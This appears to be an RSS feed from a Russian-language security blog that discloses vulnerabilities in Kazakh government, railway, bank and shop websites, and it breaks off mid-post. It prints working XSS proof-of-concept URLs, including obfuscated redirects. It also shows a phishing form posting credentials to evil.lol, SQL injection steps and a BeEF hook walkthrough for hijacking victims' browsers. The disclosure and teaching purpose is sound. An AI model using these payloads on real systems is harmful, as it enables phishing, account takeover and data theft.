<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title></title>
    <description>Web developer</description>
    <link>https://caspicasoft.com//</link>
    <atom:link href="https://caspicasoft.com//feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Mon, 19 Jun 2017 12:47:53 +0000</pubDate>
    <lastBuildDate>Mon, 19 Jun 2017 12:47:53 +0000</lastBuildDate>
    <generator>Jekyll v3.4.3</generator>
    
      <item>
        <title>Уязвимость на сайте egov.kz (XSS)</title>
        <description>&lt;p&gt;Про эти проблемы я сообщил press@nitec.kz более года назад. Многие проблемы они устранили, &lt;del&gt;но не всё&lt;/del&gt;. Думаю пришло время дисклозить.
&lt;!--more--&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;XSS&lt;/strong&gt; (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего 
разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Очень важно, чтобы главный портал государственных услуг был без уязвимостей. XSS это еще одна возможность для мошенников производить фишинг атаки на пользователей. Ниже в посте есть видео кражи ЭЦП.&lt;/p&gt;

&lt;p&gt;В посте описаны не все найденные уязвимости. Стоит отметить, что egov.kz отвечает на письма и исправляет проблемы. Но следующие XSS обещали исправить еще 31 Марта 2016 года.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Reflected XSS через Поиск - &lt;del&gt;не исправлено&lt;/del&gt; исправлено 14-06-2017&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Обычно XSS на сайтах чаще можно найти через Search.
&lt;img src=&quot;/assets/images/egovkz-xss/img0.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Egov.kz не исключение. Вот результат такого запроса.
&lt;img src=&quot;/assets/images/egovkz-xss/img1.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proof of Concept&lt;/strong&gt;: &lt;a href=&quot;http://egov.kz/wps/portal/!ut/p/b1/jY7LCsIwFES_qNxJLq3JMj7SBKVBKGizkSxECn1sSr_f2r3V2Q2cwwxFajItUEBKxXSnOKS5faWpHYfUfXosHjuGVHthEBiAr_VBq2vNJWMBmgUITtgy14xwVCd4lXNlL07iLP_z8SUGv_wbxRXZerACGxOVG_sn9bGz2mfmDbEtbmo!/dl4/d5/L2dBISEvZ0FBIS9nQSEh/pw/Z7_73028B1A003DC0AS22M7DL2003/act/id=0/p=from=0/p=lang=all/p=textSearch=x';document.write(String.fromCharCode(60,115,99,114,105,112,116,62,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,98,105,116,46,108,121,47,73,113,84,54,122,116,34,60,47,115,99,114,105,112,116,62));'/p=category=all/318769911448/-/&quot;&gt;XSS через Поиск&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Reflected XSS через IBM Eclipse Help System - &lt;del&gt;не исправлено&lt;/del&gt; исправлено 14-06-2017&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Похоже, что egov.kz использует старый IBM WebSphere вперемешку с Drupal.
&lt;img src=&quot;/assets/images/egovkz-xss/img2.png&quot; alt=&quot;image&quot; /&gt;
&lt;img src=&quot;/assets/images/egovkz-xss/img3.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Для старого WebSphere есть &lt;a href=&quot;http://www.securityfocus.com/bid/54051/info&quot;&gt;старый XSS&lt;/a&gt;. Остается надеяться, что egov.kz устанавливает другие патчи на WebSphere.
&lt;img src=&quot;/assets/images/egovkz-xss/img4.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proof of Concept&lt;/strong&gt;: &lt;a href=&quot;http://egov.kz/wps/iehs/topic/com&amp;quot;);}window.location.replace(&amp;quot;//bit.ly/IqT6zt&amp;quot;);//.htm&quot;&gt;XSS через IEHS&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;XSS на idp.egov.kz - исправлено.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Здесь параметр redirectURL не был обработан.
&lt;img src=&quot;/assets/images/egovkz-xss/img5.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;На видео ниже, ЭЦП и пароль пользователя отправляются на localhost. Все работает по HTTPS.&lt;/p&gt;

&lt;iframe src=&quot;https://player.vimeo.com/video/166616876&quot; width=&quot;640&quot; height=&quot;480&quot; frameborder=&quot;0&quot; webkitallowfullscreen=&quot;&quot; mozallowfullscreen=&quot;&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;Все примеры выше выполняется в контексте javascript кода. То есть, XSS аудиторы современных браузеров бессильны. Кстати, не знаю зачем мошенникам пароли, ведь пароль всех ЭЦП &lt;strong&gt;123456&lt;/strong&gt; :)&lt;/p&gt;

</description>
        <pubDate>Thu, 08 Jun 2017 07:24:14 +0000</pubDate>
        <link>https://caspicasoft.com//blog/2017/06/08/egovkz-xss</link>
        <guid isPermaLink="true">https://caspicasoft.com//blog/2017/06/08/egovkz-xss</guid>
        
        
        <category>xss</category>
        
        <category>security</category>
        
      </item>
    
      <item>
        <title>Уязвимость на сайте epay.railways.kz (Authorization)</title>
        <description>&lt;p&gt;Проблема с авторизацией на сайте позволяет скачать все купленные билеты пользователей. Вендор знает про эту уязвимость.
&lt;!--more--&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Недостаточная авторизация&lt;/strong&gt; (Insufficient Authorization) - отсутствие проверки прав (привилегий) при попытке выполнения определённых действий.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;После регистрации на сайте (www.epay.railways.kz) и покупки билета, у пользователя есть возможность распечатать свой билет.
В купленных билетах указаны такие персональные данные, как Ф.И.О пользователя, дата рождения и номер удостоверения или паспорта.&lt;/p&gt;

&lt;p&gt;Ссылка для распечатки HTML (или PDF) билета выглядит так: hxxps://epay.railways.kz/ktz4/proc?pa=orders&amp;amp;sa=PRINT_EVENT&amp;amp;ORDER_ID=&lt;strong&gt;XXXXXXX&lt;/strong&gt;&amp;amp;PRINT_TYPE=PRINT_TYPE_HTML&amp;amp;TICKET_ID=&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/epay-railways-authorization/img0.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Вы не можете увидеть чужие билеты через личный кабинет. Однако при запросе на распечатку, сервер не проверяет принадлежит ли нам 
запрашиваемый параметр &lt;strong&gt;ORDER_ID&lt;/strong&gt;. Это значит, что мы можем получить доступ к чужим билетам меняя значение этого параметра.&lt;/p&gt;

&lt;p&gt;Вот результат такого запроса.
&lt;img src=&quot;/assets/images/epay-railways-authorization/img1.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ещё один пример:
&lt;img src=&quot;/assets/images/epay-railways-authorization/img2.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Если вспомнить, что продажу новых билетов через epay.railways.kz запустили в 2014 году, то можно понять, что это абсолютно все билеты.
&lt;img src=&quot;/assets/images/epay-railways-authorization/img3.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Вот и первые пользователи (или разработчики?).
&lt;img src=&quot;/assets/images/epay-railways-authorization/img4.png&quot; alt=&quot;image&quot; /&gt;
&lt;img src=&quot;/assets/images/epay-railways-authorization/img5.png&quot; alt=&quot;image&quot; /&gt;
&lt;img src=&quot;/assets/images/epay-railways-authorization/img6.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;
&lt;p&gt;Конечно, не обошлось без XSS. Не обработаны почти все параметры форм и даже &lt;a href=&quot;https://epay.railways.kz/SVPayments/%3Cdiv%20align='center'%3E%3Cimg%20src='https://bit.ly/1VTPJj3'/%3E%3Ch1%3Eso%20secure%3C/h1%3E%3Cbr%3E%3Clabel%3EUsername%3C/label%3E%3Cinput/%3E%3Cbr%3E%3Clabel%3EPassword%3C/label%3E%3Cinput%20/%3E%3Cbr%3E%3Cbutton%3Esubmit%3C/button%3E%3Cp%3E%3C/p%3E%3C/div%3E%3Cp%20style=%22.jsf&quot;&gt;путь файлов&lt;/a&gt;. О свойствах XSS можете прочитать в &lt;a href=&quot;https://caspicasoft.com/blog/2015/12/03/kaspi-bank-xss-beef&quot;&gt;другом посте&lt;/a&gt;.
&lt;img src=&quot;/assets/images/epay-railways-authorization/img7.png&quot; alt=&quot;image&quot; /&gt;
&lt;img src=&quot;/assets/images/epay-railways-authorization/img8.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Вот такой вот грустный #opendata.&lt;/p&gt;

</description>
        <pubDate>Tue, 18 Oct 2016 13:39:32 +0000</pubDate>
        <link>https://caspicasoft.com//blog/2016/10/18/epay-railways-authorization</link>
        <guid isPermaLink="true">https://caspicasoft.com//blog/2016/10/18/epay-railways-authorization</guid>
        
        
        <category>xss</category>
        
        <category>security</category>
        
        <category>authorization</category>
        
      </item>
    
      <item>
        <title>Уязвимость в Kaspi Bank 2 (XSS)</title>
        <description>&lt;p&gt;Сегодня расскажем об очередном XSS на сайте банка. Предыдущий пост про Kaspi можно прочитать &lt;a href=&quot;https://caspicasoft.com/blog/2015/12/03/kaspi-bank-xss-beef&quot;&gt;здесь&lt;/a&gt;.
&lt;!--more--&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;XSS&lt;/strong&gt; (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего 
разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Часто на сайтах интернет-магазинов можно увидеть вот такую кнопку от Kaspi банка. Здесь также показан ответ от сервера банка.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-2/img0.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Сама кнопка отображается с помощью &amp;lt;iframe&amp;gt;; ссылка выглядит так:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;hxxps://kaspi.kz/kaspibutton/frame?template=button&amp;amp;merchantSku=
00000014673&amp;amp;merchantCode=XXXXX&amp;amp;city=000000&amp;amp;id=ks-xxxxx&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Параметры &lt;strong&gt;template&lt;/strong&gt;, &lt;strong&gt;id&lt;/strong&gt; и т.д. отображаются на странице без соответствующей обработки. Это значит, что мы можем вставить любой HTML/JS код.
Пример c alert():&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;hxxps://kaspi.kz/kaspibutton/frame?template=button&amp;amp;id=kaspi%27};alert%28document.domain%29;var%20a={aa:%27c&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/kaspi-bank-xss-2/img1.png&quot; alt=&quot;image&quot; /&gt;
Результат для пользователя:
&lt;img src=&quot;/assets/images/kaspi-bank-xss-2/img2.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Что могут сделать мошенники через XSS? Привидем пример фишинг страницы на сайте банка через &lt;strong&gt;document.write()&lt;/strong&gt;.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-2/img3.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Код создает такую форму:&lt;/p&gt;

&lt;p&gt;&amp;lt;form action=&lt;strong&gt;//evil.lol&lt;/strong&gt;&amp;gt;&amp;lt;input name=“login”&amp;gt;&amp;lt;input name=“password”&amp;gt;&amp;lt;/form&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/kaspi-bank-xss-2/img4.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Когда пользователь заполнит и отправит форму, мошенникам остается только посмотреть логи сервера на &lt;strong&gt;evil.lol&lt;/strong&gt;. 
Там будет вся необходимая информация. Результат после нажатия кнопки &lt;em&gt;Login to Kaspi&lt;/em&gt;:
&lt;img src=&quot;/assets/images/kaspi-bank-xss-2/img5.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Как мы видим, нельзя недооценивать последствия вставки кода. Надеюсь, что данное утверждение будет верным.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-2/img6.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt;&lt;br /&gt;
Похоже, что этот сервер использует Citrix Netscaler. Вы получаете шифрованный куки &lt;em&gt;NSC_xxxx.xxxxx&lt;/em&gt; 
который можно расшифровать с помощью этого &lt;a href=&quot;https://github.com/catalyst256/Netscaler-Cookie-Decryptor&quot;&gt;скрипта&lt;/a&gt; чтобы извлечь имя хоста, порт и внутренний IP сервера. Not bad.&lt;/p&gt;

</description>
        <pubDate>Tue, 29 Mar 2016 15:56:24 +0000</pubDate>
        <link>https://caspicasoft.com//blog/2016/03/29/kaspi-bank-xss-2</link>
        <guid isPermaLink="true">https://caspicasoft.com//blog/2016/03/29/kaspi-bank-xss-2</guid>
        
        
        <category>bank</category>
        
        <category>security</category>
        
      </item>
    
      <item>
        <title>Уязвимость в Chocomart.kz (SQLi)</title>
        <description>&lt;p&gt;О проблеме я написал в Chocomart и она быстро была устранена (надеюсь полностью).
У меня небольшой SQL опыт и поэтому в посте ничего нового. Но начинающим разработчикам все же будет интересно.
&lt;!--more--&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;SQL Injection&lt;/strong&gt; - это техника вставки кода, когда в запросе присутствует произвольный SQL-код. Обычно это происходит из-за 
некорректной обработки данных. Атакующий может получить полный доступ к базе данных. SQL injection впервые &lt;a href=&quot;http://phrack.org/issues/54/8.html#article&quot;&gt;был описан&lt;/a&gt; в 1998 году.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;На странице &lt;strong&gt;chocomart.kz/subscribe&lt;/strong&gt; есть форма с автозаполнением где нужно выбрать свой город.
Для примера представим, что SQL запрос выглядит так:&lt;/p&gt;

&lt;p&gt;‘SELECT * FROM cities WHERE City LIKE ‘+ &lt;strong&gt;$_POST[‘query’]&lt;/strong&gt; +’%;’&lt;/p&gt;

&lt;p&gt;То есть, находим город по первым буквам названия города. Но, если напечатать &lt;strong&gt;abc%’ OR 1=1#;&lt;/strong&gt; вместо города, то полный запрос будет таким:&lt;/p&gt;

&lt;p&gt;SELECT * FROM cities WHERE City LIKE ‘abc%’ &lt;strong&gt;OR 1=1#;&lt;/strong&gt; %’;&lt;/p&gt;

&lt;p&gt;Запрос возвращает все города. Символ &lt;strong&gt;#&lt;/strong&gt; используется для комментирования, что позволяет нам “удалить” продолжение запроса.&lt;/p&gt;

&lt;p&gt;Как эксплуатировать эту уязвимость: с помощью &lt;strong&gt;UNION SELECT 1, 2, 3&lt;/strong&gt; узнаем используемый столбец.
&lt;img src=&quot;/assets/images/chocomart-sqlinjection/img0.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Теперь, чтобы увидеть ответы на запросы, достаточно вставить SQL код вместо символа 2. &lt;strong&gt;UNION SELECT 1, database(), 3&lt;/strong&gt; вер    нет имя базы данных. 
&lt;img src=&quot;/assets/images/chocomart-sqlinjection/img1.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Что эта за база данных? Посмотрим на имена таблиц.
&lt;img src=&quot;/assets/images/chocomart-sqlinjection/img2.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Читая имена таблиц можно понять, что это &lt;strong&gt;полная база данных Chocomart&lt;/strong&gt; (корзина, заказы, аккаунты, адреса, логи платежей и т.д.).
После этого, я перестал делать запросы и не стал узнавать есть ли права на запись.&lt;/p&gt;

&lt;p&gt;Хотя скачать всю базу данных - это вопрос времени. Узнав имя таблицы, вы сможете узнать имена столбцов. Мошенникам даже 
не нужно делать это “вручную” на вашем сайте.&lt;/p&gt;

&lt;p&gt;Программы как &lt;a href=&quot;http://sqlmap.org&quot;&gt;sqlmap&lt;/a&gt; позволяют делать это в окне терминала. Запустите скрипт и через пару часов 
(или дней) у вас будет вся база данных в формате CSV. Пример с сайта sqlmap: 
&lt;img src=&quot;/assets/images/chocomart-sqlinjection/img3.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Кстати, сайт Chocomart показывал полный стек-трейс при ошибке SQL. Если вы не видите стек-трейс при синтаксической ошибке, 
то это называется &lt;a href=&quot;http://www.acunetix.com/websitesecurity/blind-sql-injection/&quot;&gt;слепой (blind) injection&lt;/a&gt;. Это немного усложняет атаку.&lt;/p&gt;

&lt;p&gt;Нужно помнить, что многие современные веб фреймворки идут с ORM (object-relational mapping) и вам не нужно самим писать SQL. 
Это ускоряет разработку и помогает защититься от большей части SQL инъекции (вы не собираете запрос “по кускам”).&lt;/p&gt;

&lt;p&gt;Если вас не устраивает производительность запросов при ORM, то стоит подумать о &lt;a href=&quot;https://en.wikipedia.org/wiki/Stored_procedure&quot;&gt;хранимых процедурах&lt;/a&gt; (stored procedures) или &lt;a href=&quot;https://en.wikipedia.org/wiki/Prepared_statement&quot;&gt;параметризированных запросах&lt;/a&gt; 
(parametrized queries).&lt;/p&gt;

&lt;p&gt;Если же вы все-таки решили писать “сырой” SQL, то разработчикам нужно убедиться, что их приложения не уязвимы к SQLi атакам.
Подробнее про SQL инъекции можно узнать &lt;a href=&quot;http://www.unixwiz.net/techtips/sql-injection.html&quot;&gt;здесь&lt;/a&gt;.&lt;/p&gt;

</description>
        <pubDate>Tue, 16 Feb 2016 15:23:19 +0000</pubDate>
        <link>https://caspicasoft.com//blog/2016/02/16/chocomart-sqlinjection</link>
        <guid isPermaLink="true">https://caspicasoft.com//blog/2016/02/16/chocomart-sqlinjection</guid>
        
        
        <category>sqli</category>
        
      </item>
    
      <item>
        <title>Уязвимость в Kaspi Bank (XSS+BeEF)</title>
        <description>&lt;p&gt;О проблемах я сообщил Каспи банку 18 дней назад. Длинный пост поделен на 2 части: обсуждение двух XSS уязвимостей на сайте банка и знакомство с BeEF.
&lt;!--more--&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;XSS&lt;/strong&gt; (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего 
разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Первый XSS вектор - это неправильная обработка параметра &lt;strong&gt;idc&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;hxxps://kaspi.kz/payments?&lt;strong&gt;idc=78xx&quot;/&amp;gt;&amp;lt;script&amp;gt;confirm(‘xss%20kaspi’);&amp;lt;/script&amp;gt;&amp;lt;meta%20x=“&lt;/strong&gt;
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img0.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Результат: постоянный (persistent) XSS, который сохраняется в течение всей сессии, даже если вы перейдете на другую страницу банка.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img1.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Следующая уязвимость находится в поиске магазина. Сайт фильтрует многие тэги и атрибуты типа &lt;em&gt;script&lt;/em&gt;, &lt;em&gt;src&lt;/em&gt;, &lt;em&gt;onerror&lt;/em&gt;, но 
не &lt;strong&gt;object&lt;/strong&gt; и &lt;strong&gt;data&lt;/strong&gt;. Мы можем вставить наш код, создав новый объект.&lt;/p&gt;

&lt;p&gt;Здесь использую демо код с jsfiddle.net.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img2.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Можно также создать объект с вредоносным PDF, Java, Flash или например простой картинкой.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img3.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Теперь обсудим насколько легко использовать эти уязвимости.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;a href=&quot;https://github.com/beefproject/beef/wiki&quot;&gt;The Browser Exploitation Framework&lt;/a&gt; (BeEF) – это средство для эксплуатаций браузеров 
которое содержит набор модулей.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;BeEF “цепляет&quot; браузер жертвы с помощью javascript кода, что позволяет выполнять различные действия. Браузер может быть настольным или 
мобильным.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img4.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Вообще BeEF умеет делать очень продвинутые вещи (снимок с веб-камеры, запись аудио, атака на роутер и LAN, создание прокси и т.д.), но мы будем 
использовать модули для угона аккаунта и “развода” на деньги.&lt;/p&gt;

&lt;p&gt;Готовим cсылку для жертвы: hxxps://kaspi.kz/payments?idc=666&quot;/&amp;gt;&amp;lt;script src=“&lt;strong&gt;http://192.168.1.111:3000/hook.js&lt;/strong&gt;”&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;meta o=“&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;kaspi.kz&lt;/strong&gt; – сайт куда вставляется зацепка для BeEF (hook)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;192.168.1.111&lt;/strong&gt; – сервер на котором установлен BeEF&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;192.168.1.1&lt;/strong&gt; – IP адрес жертвы&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Такую ссылку можно отправить пользователю банка, админу или CEO (так как сайт банка использует &lt;em&gt;HTTPS&lt;/em&gt;, настоящие мошенники загрузят 
скрипт-зацепку на &lt;em&gt;HTTPS&lt;/em&gt; сайт, чтобы браузер жертвы не жаловался на активное смешанное содержимое).&lt;/p&gt;

&lt;p&gt;Отправив ссылку, нужно зайти на наш сервер. BeEF идет вместе с удобной админ-панелью (логин/пароль по умолчанию &lt;em&gt;beef/beef&lt;/em&gt;).
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img5.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;После авторизаций, вы имеете доступ ко всем “зацепленным” браузерам. Здесь вы видите куки, данные ОС, список плагинов и т.д.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img6.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Вы также видите, что делает жертва на странице (неплохой кейлогер).
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img7.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Тем временем, пользователь ничего не подозревает…
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img8.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Но нам необязательно читать журнал событий, ведь перехват данных формы не составляет большого труда. Есть готовый модуль.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img9.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Вы всегда можете разработать свой модуль для BeEF. Также, многие модули идут с шаблонами, которые легко изменить под себя. Далее, пример показа всплывающего окна для перехвата пары логин/пароль.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img10.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;У вас есть возможность видеть содержимое браузера жертвы. То есть можете скачать весь HTML код либо сделать скриншот реальной страницы.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img11.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Пример редактирования конкретного компонента страницы.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img12.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Авторы модулей для BeEF – люди не без юмора.
&lt;img src=&quot;/assets/images/kaspi-bank-xss-beef/img13.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Вот и все. Надеюсь разработчики и владельцы сайтов теперь понимают чем может обернуться для пользователей простой или постоянный XSS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt;
Был ли заражен ваш браузер в прошлом, можно проверить &lt;a href=&quot;https://goo.gl/SsAhv&quot;&gt;здесь&lt;/a&gt;.&lt;/p&gt;

</description>
        <pubDate>Thu, 03 Dec 2015 17:28:19 +0000</pubDate>
        <link>https://caspicasoft.com//blog/2015/12/03/kaspi-bank-xss-beef</link>
        <guid isPermaLink="true">https://caspicasoft.com//blog/2015/12/03/kaspi-bank-xss-beef</guid>
        
        
        <category>bank</category>
        
        <category>security</category>
        
        <category>xss</category>
        
      </item>
    
      <item>
        <title>Уязвимость в Halyk Bank (XSS)</title>
        <description>&lt;p&gt;Краткий пост про проблемы на сайтах Halyk Bank и Halyk Finance. О проблеме я сообщил Халык банку 2 недели назад.
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; www.halykbank.kz не поддерживает безопасное подключение по протоколу &lt;em&gt;HTTPS&lt;/em&gt;. Это очень плохо для банка! 
Пользователи должны видеть зеленый замочек.&lt;/p&gt;

&lt;p&gt;У вас нет способа проверить находитесь ли вы на настоящем сайте банка или нет. Учитывая уязвимости домашних роутеров, вы вполне 
можете стать жертвой &lt;a href=&quot;https://ru.wikipedia.org/wiki/DNS_hijacking&quot;&gt;перехвата DNS&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; Сайт Халык банка неправильно обрабатывает параметры поиска.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;XSS&lt;/strong&gt; (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего 
разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Результат поиска &lt;strong&gt;xxxxxxx”&amp;gt;&amp;lt;script&amp;gt;alert(’hello’);&amp;lt;/script&amp;gt;&lt;/strong&gt;
&lt;img src=&quot;/assets/images/halyk-bank-xss/img0.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;XSS - это еще одна возможность для мошенников производить фишинг атаки. Например, при загрузке страницы, переписываем содержимое страницы на 
тэг &lt;em&gt;&amp;lt;input&amp;gt;&lt;/em&gt; и картинку &lt;em&gt;&amp;lt;img&amp;gt;&lt;/em&gt; (используя функцию String.fromCharCode() для маскировки).&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;hxxp://www.halykbank.kz/ru/search?q=&lt;/strong&gt;xxxxxxx&quot;&amp;gt;&amp;lt;script&amp;gt;window.onload%3Dfunction(){document.write(String.fromCharCode(60,105,109,
103,32,115,114,99,61,39,104,116,116,112,115,58,47,47,105,46,105,109,103,117,114,46,99,111,109,47,116,113,67,100,110,51,69,46,112,110,103,39,
62))%3B}&amp;lt;%2Fscript&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Вы также можете вставить свою форму или iframe. Результат для пользователя.
&lt;img src=&quot;/assets/images/halyk-bank-xss/img1.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; Регистрация и вход на сайт Halyk Finance &lt;strong&gt;www.halykfinance.kz&lt;/strong&gt; также производится по &lt;em&gt;HTTP&lt;/em&gt;, то есть по незащищенному каналу, а значит, 
любой может перехватить пользовательские данные.
&lt;img src=&quot;/assets/images/halyk-bank-xss/img2.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Вы не хотите чтобы это произошло, потому что Halyk Finance предоставляет брокерские услуги на рынке ценных бумаг.
&lt;img src=&quot;/assets/images/halyk-bank-xss/img3.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Сертификат при переходе на &lt;strong&gt;HTTPS://&lt;/strong&gt;halykfinance.kz
&lt;img src=&quot;/assets/images/halyk-bank-xss/img4.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Надеюсь Halyk Bank и Halyk Finance скоро исправят эти проблемы (члены финансовой группы Народного банка Казахстана «Halyk Group»).&lt;/p&gt;

</description>
        <pubDate>Mon, 30 Nov 2015 03:11:11 +0000</pubDate>
        <link>https://caspicasoft.com//blog/2015/11/30/halyk-bank-xss</link>
        <guid isPermaLink="true">https://caspicasoft.com//blog/2015/11/30/halyk-bank-xss</guid>
        
        
        <category>bank</category>
        
        <category>security</category>
        
        <category>xss</category>
        
      </item>
    
      <item>
        <title>Уязвимость в Казком 2 (HTML Injection)</title>
        <description>&lt;p&gt;Сегодня обсудим очередную уязвимость на сайте банка и как ее могут использовать мошенники. О проблеме на домене &lt;strong&gt;homebank.kz&lt;/strong&gt; 
